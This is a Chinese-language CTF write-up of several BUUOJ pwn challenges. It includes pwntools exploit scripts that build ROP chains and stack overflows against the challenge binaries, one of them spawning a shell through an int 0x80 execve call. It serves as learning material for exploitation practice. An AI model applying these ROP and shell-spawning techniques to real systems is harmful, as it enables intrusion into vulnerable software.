20.5.23pwn做题记录

cmcc_simplerop
一开始以为是用里面定义的"puts函数"打印函数地址做的,然后失败了:LibcSearcher找不到匹配的libc,猜测可能是因为他的"puts"函数是自定义的(因为没有在plt表中),所以打印出的地址不正确?
既然不能像以前一样使用system函数,那就再试一下int 80h结果真有函数20.5.23pwn做题记录_第1张图片
然后就是编写exp了

from pwn import *
from LibcSearcher import LibcSearcher
#sh=process('./sim')
sh=remote('node3.buuoj.cn',26536)
elf=ELF('./sim')

context.log_level='debug'
 
#puts_addr=0x804F640这里是一开始想通过strcmp的地址找libc的但不知道为什么失败了
#cmsp_got=0x80EA034
main_addr=0x8048E24
pop_di=0x804846f
read_addr=0x806CD50
data=0x80e9000
pop3_addr=0x0804838c
pop_ax=0x080bae06
pop_dx_cx_bx=0x0806e850

payload1='a'*32+p32(read_addr)+p32(pop3_addr)+p32(0)+p32(data)+p32(8)+p32(pop_ax)+p32(0xb)+p32(pop_dx_cx_bx)+p32(0)+p32(0)+p32(data)+p32(0x080493e1)

payload2='/bin/sh\x00'

sh.recvuntil(':')
sh.sendline(payload1)
sh.sendline(payload2)

#payload3='a'*32
#sh.recvuntil(':')
#sh.sendline(payload3)

sh.interactive()

picoctf_2018_rop chain
构造rop链解决问题,其中出现了些没见过的问题,在此记录一下
这里拎出win2函数讲一下:
20.5.23pwn做题记录_第2张图片
可以看到if ( win1 && a1 == -1163220307 )这一行,产生了两个疑问:
(1)怎么把-1163220307放进p32中
(2)为什么一定是这个数才可以(我知道这个问题有点怪)
解决方法:
(1)之前尝试直接把-1163220307放进p32中,结果超限了. 然后尝试用计算器表示-1163220307,emmm,还是超限了,于是0xFFFF FFFF BAAA AAAD取低八位0x BAAA AAAD放入p32中,结果成功了.但依旧不是很好的方法,因为在之后的做题中出现了错误,所以最终选择在IDA中选定-1163220307右键选择十六进制就行了(捂脸,感觉自己之前好蠢)
(2)一直以为是先&&再= =的结果是自己蠢了,做了如下测试:20.5.23pwn做题记录_第3张图片
结果输出还是1,1怎么等于0xBAAAAAAD呢?
后来经过TaQini师傅提醒是以为运算符优先级的问题(TaQini tql)
flag函数也要类似操作,在此不做赘述.
后面就是简简单单的构造exp:

from pwn import *
from LibcSearcher import LibcSearcher
#sh=process('./rc')
sh=remote('node3.buuoj.cn',29067)
elf=ELF('./rc')
#context.log_level='debug'

flag_addr=0x804862B
win1_addr=0x80485CB
win2_addr=0x80485D8
pop_addr=0x080485d6

payload='a'*0x18+'b'*4+p32(win1_addr)+p32(win2_addr)#make win1=1
payload+=p32(pop_addr)+p32(0xbaaaaaad)+p32(flag_addr)#make win2=2
payload+=p32(pop_addr)+p32(0xdeadbaad)
payload2='/bin/sh\x00'

sh.recvuntil('>')
sh.sendline(payload)

sh.interactive()

picoctf_2018_buffer overflow 1
就直接最基本栈溢出,exp弄丢了
picoctf_2018_buffer overflow 2
类似picoctf_2018_rop chain
exp:

from pwn import *
from LibcSearcher import LibcSearcher
#sh=process('./of')
sh=remote('node3.buuoj.cn',26805)
elf=ELF('./of')
#context.log_level='debug'

win_addr=0x80485CB

payload='a'*112+p32(0x0804872a)+p32(0xdeadbeef)+p32(0xdeadc0de)

sh.recvuntil(':')
sh.sendline(payload)

sh.interactive()

你可能感兴趣的:(Pwn,学习经历)